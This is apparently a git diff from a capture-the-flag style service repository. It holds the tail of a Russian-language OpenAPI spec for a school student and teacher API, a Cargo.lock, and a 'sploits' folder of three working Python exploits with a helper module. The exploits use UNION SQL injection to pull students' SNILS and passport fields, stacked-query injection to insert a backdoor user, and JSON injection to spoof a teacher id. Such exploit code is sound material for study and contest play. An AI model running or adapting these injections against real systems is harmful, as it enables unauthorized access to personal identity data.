required: false
|
||||
description: >
|
||||
Идентификатор учителя для фильтрации. Для администраторов параметр обязателен;
|
||||
для учителей по умолчанию используется их собственный идентификатор, если
|
||||
параметр не указан.
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
example: 42
|
||||
responses:
|
||||
"200":
|
||||
description: Список учеников.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/StudentListResponse"
|
||||
"400":
|
||||
description: Некорректные параметры запроса.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Пользователь не является учителем.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/students/{id}:
|
||||
get:
|
||||
tags: [Ученики]
|
||||
summary: Получение ученика по идентификатору.
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: id
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
responses:
|
||||
"200":
|
||||
description: Ученик найден.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/Student"
|
||||
"400":
|
||||
description: Недостаточно параметров.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Пользователь не является учителем.
|
||||
"404":
|
||||
description: Ученик не найден.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
delete:
|
||||
tags: [Ученики]
|
||||
summary: Удаление ученика (только для учителей).
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: id
|
||||
in: path
|
||||
required: true
|
||||
schema:
|
||||
type: integer
|
||||
format: int64
|
||||
responses:
|
||||
"204":
|
||||
description: Ученик удалён.
|
||||
"400":
|
||||
description: Не указан идентификатор.
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Пользователь не является учителем или не наставник указанного ученика.
|
||||
"404":
|
||||
description: Ученик не найден.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
|
||||
/api/teachers:
|
||||
get:
|
||||
tags: [Учителя]
|
||||
summary: Список учителей (только для администраторов).
|
||||
security:
|
||||
- BasicPassport: []
|
||||
parameters:
|
||||
- name: "страница"
|
||||
in: query
|
||||
required: false
|
||||
description: Номер страницы (начиная с 1). По умолчанию 1.
|
||||
schema:
|
||||
type: integer
|
||||
minimum: 1
|
||||
example: 2
|
||||
responses:
|
||||
"200":
|
||||
description: Успешный ответ.
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
$ref: "#/components/schemas/TeacherListResponse"
|
||||
"400":
|
||||
description: Некорректные параметры запроса (напр., страница < 1).
|
||||
"401":
|
||||
description: Пользователь не авторизован.
|
||||
"403":
|
||||
description: Пользователь не является администратором.
|
||||
"500":
|
||||
description: Ошибка базы данных.
|
||||
38
sploits/01_sql_bad_escape.py
Normal file
38
sploits/01_sql_bad_escape.py
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import socket
|
||||
import common
|
||||
|
||||
credentials = common.register_random_teacher()
|
||||
headers = common.get_auth_headers(credentials)
|
||||
class_id = common.create_class(credentials)
|
||||
|
||||
injection = (
|
||||
"01%2F01%2F2077' "
|
||||
"' UNION SELECT id AS id, user_id AS class_id, snils AS date, "
|
||||
"passport AS title, 'gotcha' AS homework FROM students "
|
||||
"WHERE '-1' = '-1"
|
||||
)
|
||||
|
||||
path = f"/api/classes/{class_id}/lessons/{injection}"
|
||||
url = common.BASE + path
|
||||
|
||||
s = socket.create_connection((common.HOST, common.PORT))
|
||||
|
||||
s.sendall(f"""GET {path} HTTP/1.1
|
||||
Authorization: {headers["Authorization"]}
|
||||
|
||||
""".encode("utf-8"))
|
||||
|
||||
chunks = []
|
||||
|
||||
while True:
|
||||
data = s.recv(4096)
|
||||
if not data:
|
||||
break
|
||||
|
||||
chunks.append(data)
|
||||
|
||||
body = b"".join(chunks).decode("utf-8")
|
||||
|
||||
print(body)
|
||||
38
sploits/02_sql_no_escape.py
Normal file
38
sploits/02_sql_no_escape.py
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import common
|
||||
|
||||
injection_first_name = common.random_string()
|
||||
injection_last_name = common.random_string()
|
||||
injection_password = common.random_string()
|
||||
injection_username = f"{injection_first_name}.{injection_last_name}"
|
||||
|
||||
legit_first_name = common.random_string()
|
||||
legit_last_name = common.random_string()
|
||||
legit_password = common.random_string()
|
||||
legit_username = f"{legit_first_name}.{legit_last_name}"
|
||||
legit_education = (
|
||||
"Pony', ''); INSERT INTO users (first_name, last_name, middle_name, "
|
||||
"username, password) "
|
||||
f"VALUES ('{injection_first_name}', '{injection_last_name}', "
|
||||
f"'Injectionovich', '{injection_username}', "
|
||||
f"'{injection_password}'); --"
|
||||
)
|
||||
|
||||
common.register_teacher(
|
||||
legit_first_name,
|
||||
legit_last_name,
|
||||
legit_password,
|
||||
legit_username,
|
||||
legit_education,
|
||||
)
|
||||
|
||||
last_student_id = common.create_student((legit_username, legit_password))
|
||||
headers = common.get_auth_headers((injection_username, injection_password))
|
||||
|
||||
for student_id in range(max(1, last_student_id - 100), last_student_id):
|
||||
url = f"{common.BASE}/api/students/{student_id}"
|
||||
response = requests.get(url, headers=headers)
|
||||
|
||||
print(response.text)
|
||||
44
sploits/03_json_injection.py
Normal file
44
sploits/03_json_injection.py
Normal file
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import socket
|
||||
import common
|
||||
|
||||
first_name = common.random_string()
|
||||
last_name = common.random_string()
|
||||
password = common.random_string()
|
||||
username = f"{first_name}.{last_name}"
|
||||
|
||||
_, _, base_teacher_id = common.register_random_teacher()
|
||||
|
||||
common.register_teacher(
|
||||
first_name,
|
||||
last_name,
|
||||
password,
|
||||
username,
|
||||
middle_name="""Injectionovich", "id": 228, "kek": "pek"""
|
||||
)
|
||||
|
||||
for teacher_id in range(max(1, base_teacher_id - 100), base_teacher_id):
|
||||
path = f"/api/students?учитель={teacher_id}"
|
||||
headers = common.get_auth_headers((username, password))
|
||||
|
||||
s = socket.create_connection((common.HOST, common.PORT))
|
||||
|
||||
s.sendall(f"""GET {path} HTTP/1.1
|
||||
Authorization: {headers["Authorization"]}
|
||||
|
||||
""".encode("utf-8"))
|
||||
|
||||
chunks = []
|
||||
|
||||
while True:
|
||||
data = s.recv(4096)
|
||||
if not data:
|
||||
break
|
||||
|
||||
chunks.append(data)
|
||||
|
||||
body = b"".join(chunks).decode("utf-8")
|
||||
|
||||
print(body)
|
||||
|
||||
118
sploits/common/__init__.py
Normal file
118
sploits/common/__init__.py
Normal file
@@ -0,0 +1,118 @@
|
||||
import json
|
||||
import random
|
||||
import sys
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 1337
|
||||
BASE = f"http://{HOST}:{PORT}"
|
||||
|
||||
|
||||
def random_string(length=8):
|
||||
letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
return ''.join(random.choice(letters) for _ in range(length))
|
||||
|
||||
|
||||
def register_teacher(
|
||||
first_name,
|
||||
last_name,
|
||||
password,
|
||||
username,
|
||||
education="Pony",
|
||||
middle_name="Автотестович",
|
||||
):
|
||||
url = f"{BASE}/api/users"
|
||||
data = {
|
||||
"имя": first_name,
|
||||
"фамилия": last_name,
|
||||
"отчество": middle_name,
|
||||
"образование": education,
|
||||
"пароль": password,
|
||||
"повтор пароля": password,
|
||||
}
|
||||
|
||||
response = requests.post(url, data=json.dumps(data, ensure_ascii=False))
|
||||
|
||||
if response.status_code != 201:
|
||||
print(
|
||||
f"Failed to register teacher: {response.status_code} "
|
||||
f"{response.text}"
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
data = response.json()
|
||||
|
||||
return (username, password, data["идентификатор"])
|
||||
|
||||
|
||||
def register_random_teacher():
|
||||
first_name = random_string()
|
||||
last_name = random_string()
|
||||
password = random_string()
|
||||
username = f"{first_name}.{last_name}"
|
||||
|
||||
return register_teacher(first_name, last_name, password, username)
|
||||
|
||||
|
||||
def create_class(teacher_credentials):
|
||||
headers = get_auth_headers(teacher_credentials)
|
||||
|
||||
url = f"{BASE}/api/classes"
|
||||
data = {
|
||||
"номер": 11,
|
||||
"буква": "Б",
|
||||
}
|
||||
|
||||
response = requests.post(
|
||||
url,
|
||||
data=json.dumps(data, ensure_ascii=False),
|
||||
headers=headers
|
||||
)
|
||||
|
||||
if response.status_code != 201:
|
||||
print(
|
||||
f"Failed to create class: {response.status_code} {response.text}"
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
class_info = response.json()
|
||||
return class_info["идентификатор"]
|
||||
|
||||
|
||||
def create_student(teacher_credentials):
|
||||
headers = get_auth_headers(teacher_credentials)
|
||||
password = random_string()
|
||||
|
||||
url = f"{BASE}/api/students"
|
||||
data = {
|
||||
"имя": random_string(),
|
||||
"фамилия": random_string(),
|
||||
"отчество": "Автотестович",
|
||||
"снилс": random_string(),
|
||||
"паспорт": random_string(),
|
||||
"пароль": password,
|
||||
"повтор пароля": password,
|
||||
}
|
||||
|
||||
response = requests.post(
|
||||
url,
|
||||
data=json.dumps(data, ensure_ascii=False),
|
||||
headers=headers
|
||||
)
|
||||
|
||||
if response.status_code != 201:
|
||||
print(
|
||||
f"Failed to create student: {response.status_code} {response.text}"
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
class_info = response.json()
|
||||
return class_info["идентификатор"]
|
||||
|
||||
|
||||
def get_auth_headers(teacher_credentials):
|
||||
return {
|
||||
"Authorization": (
|
||||
f"Basic {teacher_credentials[0]} {teacher_credentials[1]}"
|
||||
)
|
||||
}
|
||||
713
wrapper/Cargo.lock
generated
Normal file
713
wrapper/Cargo.lock
generated
Normal file
@@ -0,0 +1,713 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "atomic-waker"
|
||||
version = "1.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"
|
||||
|
||||
[[package]]
|
||||
name = "axum"
|
||||
version = "0.8.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8a18ed336352031311f4e0b4dd2ff392d4fbb370777c9d18d7fc9d7359f73871"
|
||||
dependencies = [
|
||||
"axum-core",
|
||||
"bytes",
|
||||
"form_urlencoded",
|
||||
"futures-util",
|
||||
"http",
|
||||
"http-body",
|
||||
"http-body-util",
|
||||
"hyper",
|
||||
"hyper-util",
|
||||
"itoa",
|
||||
"matchit",
|
||||
"memchr",
|
||||
"mime",
|
||||
"percent-encoding",
|
||||
"pin-project-lite",
|
||||
"serde_core",
|
||||
"serde_json",
|
||||
"serde_path_to_error",
|
||||
"serde_urlencoded",
|
||||
"sync_wrapper",
|
||||
"tokio",
|
||||
"tower",
|
||||
"tower-layer",
|
||||
"tower-service",
|
||||
"tracing",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "axum-core"
|
||||
version = "0.5.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "59446ce19cd142f8833f856eb31f3eb097812d1479ab224f54d72428ca21ea22"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"futures-core",
|
||||
"http",
|
||||
"http-body",
|
||||
"http-body-util",
|
||||
"mime",
|
||||
"pin-project-lite",
|
||||
"sync_wrapper",
|
||||
"tower-layer",
|
||||
"tower-service",
|
||||
"tracing",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
|
||||
[[package]]
|
||||
name = "bytes"
|
||||
version = "1.10.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a"
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "fnv"
|
||||
version = "1.0.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
|
||||
|
||||
[[package]]
|
||||
name = "form_urlencoded"
|
||||
version = "1.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf"
|
||||
dependencies = [
|
||||
"percent-encoding",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "futures-channel"
|
||||
version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10"
|
||||
dependencies = [
|
||||
"futures-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "futures-core"
|
||||
version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
|
||||
|
||||
[[package]]
|
||||
name = "futures-sink"
|
||||
version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7"
|
||||
|
||||
[[package]]
|
||||
name = "futures-task"
|
||||
version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988"
|
||||
|
||||
[[package]]
|
||||
name = "futures-util"
|
||||
version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
|
||||
dependencies = [
|
||||
"futures-core",
|
||||
"futures-task",
|
||||
"pin-project-lite",
|
||||
"pin-utils",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "http"
|
||||
version = "1.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f4a85d31aea989eead29a3aaf9e1115a180df8282431156e533de47660892565"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"fnv",
|
||||
"itoa",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "http-body"
|
||||
version = "1.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"http",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "http-body-util"
|
||||
version = "0.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"futures-core",
|
||||
"http",
|
||||
"http-body",
|
||||
"pin-project-lite",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "http-range-header"
|
||||
version = "0.4.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9171a2ea8a68358193d15dd5d70c1c10a2afc3e7e4c5bc92bc9f025cebd7359c"
|
||||
|
||||
[[package]]
|
||||
name = "httparse"
|
||||
version = "1.10.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"
|
||||
|
||||
[[package]]
|
||||
name = "httpdate"
|
||||
version = "1.0.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
|
||||
|
||||
[[package]]
|
||||
name = "hyper"
|
||||
version = "1.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "eb3aa54a13a0dfe7fbe3a59e0c76093041720fdc77b110cc0fc260fafb4dc51e"
|
||||
dependencies = [
|
||||
"atomic-waker",
|
||||
"bytes",
|
||||
"futures-channel",
|
||||
"futures-core",
|
||||
"http",
|
||||
"http-body",
|
||||
"httparse",
|
||||
"httpdate",
|
||||
"itoa",
|
||||
"pin-project-lite",
|
||||
"pin-utils",
|
||||
"smallvec",
|
||||
"tokio",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "hyper-util"
|
||||
version = "0.1.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3c6995591a8f1380fcb4ba966a252a4b29188d51d2b89e3a252f5305be65aea8"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"futures-core",
|
||||
"http",
|
||||
"http-body",
|
||||
"hyper",
|
||||
"pin-project-lite",
|
||||
"tokio",
|
||||
"tower-service",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "itoa"
|
||||
version = "1.0.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.177"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
|
||||
|
||||
[[package]]
|
||||
name = "lock_api"
|
||||
version = "0.4.14"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965"
|
||||
dependencies = [
|
||||
"scopeguard",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.28"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34080505efa8e45a4b816c349525ebe327ceaa8559756f0356cba97ef3bf7432"
|
||||
|
||||
[[package]]
|
||||
name = "matchit"
|
||||
version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3"
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
|
||||
[[package]]
|
||||
name = "mime"
|
||||
version = "0.3.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
|
||||
|
||||
[[package]]
|
||||
name = "mime_guess"
|
||||
version = "2.0.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e"
|
||||
dependencies = [
|
||||
"mime",
|
||||
"unicase",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mio"
|
||||
version = "1.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "69d83b0086dc8ecf3ce9ae2874b2d1290252e2a30720bea58a5c6639b0092873"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"wasi",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "once_cell"
|
||||
version = "1.21.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
|
||||
|
||||
[[package]]
|
||||
name = "parking_lot"
|
||||
version = "0.12.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a"
|
||||
dependencies = [
|
||||
"lock_api",
|
||||
"parking_lot_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "parking_lot_core"
|
||||
version = "0.9.12"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"redox_syscall",
|
||||
"smallvec",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "percent-encoding"
|
||||
version = "2.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220"
|
||||
|
||||
[[package]]
|
||||
name = "pin-project-lite"
|
||||
version = "0.2.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b"
|
||||
|
||||
[[package]]
|
||||
name = "pin-utils"
|
||||
version = "0.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.101"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.41"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ce25767e7b499d1b604768e7cde645d14cc8584231ea6b295e9c9eb22c02e1d1"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "redox_syscall"
|
||||
version = "0.5.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ryu"
|
||||
version = "1.0.20"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f"
|
||||
|
||||
[[package]]
|
||||
name = "scopeguard"
|
||||
version = "1.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
|
||||
dependencies = [
|
||||
"serde_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_core"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
|
||||
dependencies = [
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_derive"
|
||||
version = "1.0.228"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_json"
|
||||
version = "1.0.145"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "402a6f66d8c709116cf22f558eab210f5a50187f702eb4d7e5ef38d9a7f1c79c"
|
||||
dependencies = [
|
||||
"itoa",
|
||||
"memchr",
|
||||
"ryu",
|
||||
"serde",
|
||||
"serde_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_path_to_error"
|
||||
version = "0.1.20"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457"
|
||||
dependencies = [
|
||||
"itoa",
|
||||
"serde",
|
||||
"serde_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_urlencoded"
|
||||
version = "0.7.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
|
||||
dependencies = [
|
||||
"form_urlencoded",
|
||||
"itoa",
|
||||
"ryu",
|
||||
"serde",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "signal-hook-registry"
|
||||
version = "1.4.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b2a4719bff48cee6b39d12c020eeb490953ad2443b7055bd0b21fca26bd8c28b"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "smallvec"
|
||||
version = "1.15.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
|
||||
|
||||
[[package]]
|
||||
name = "socket2"
|
||||
version = "0.6.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "17129e116933cf371d018bb80ae557e889637989d8638274fb25622827b03881"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"windows-sys 0.60.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.107"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a26dbd934e5451d21ef060c018dae56fc073894c5a7896f882928a76e6d081b"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sync_wrapper"
|
||||
version = "1.0.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263"
|
||||
|
||||
[[package]]
|
||||
name = "tokio"
|
||||
version = "1.48.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff360e02eab121e0bc37a2d3b4d4dc622e6eda3a8e5253d5435ecf5bd4c68408"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"libc",
|
||||
"mio",
|
||||
"parking_lot",
|
||||
"pin-project-lite",
|
||||
"signal-hook-registry",
|
||||
"socket2",
|
||||
"tokio-macros",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tokio-macros"
|
||||
version = "2.6.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "af407857209536a95c8e56f8231ef2c2e2aff839b22e07a1ffcbc617e9db9fa5"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tokio-util"
|
||||
version = "0.7.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "14307c986784f72ef81c89db7d9e28d6ac26d16213b109ea501696195e6e3ce5"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"futures-core",
|
||||
"futures-sink",
|
||||
"pin-project-lite",
|
||||
"tokio",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tower"
|
||||
version = "0.5.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d039ad9159c98b70ecfd540b2573b97f7f52c3e8d9f8ad57a24b916a536975f9"
|
||||
dependencies = [
|
||||
"futures-core",
|
||||
"futures-util",
|
||||
"pin-project-lite",
|
||||
"sync_wrapper",
|
||||
"tokio",
|
||||
"tower-layer",
|
||||
"tower-service",
|
||||
"tracing",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tower-http"
|
||||
version = "0.6.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "adc82fd73de2a9722ac5da747f12383d2bfdb93591ee6c58486e0097890f05f2"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
"bytes",
|
||||
"futures-core",
|
||||
"futures-util",
|
||||
"http",
|
||||
"http-body",
|
||||
"http-body-util",
|
||||
"http-range-header",
|
||||
"httpdate",
|
||||
"mime",
|
||||
"mime_guess",
|
||||
"percent-encoding",
|
||||
"pin-project-lite",
|
||||
"tokio",
|
||||
"tokio-util",
|
||||
"tower-layer",
|
||||
"tower-service",
|
||||
"tracing",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tower-layer"
|
||||
version = "0.3.3"
|
||||
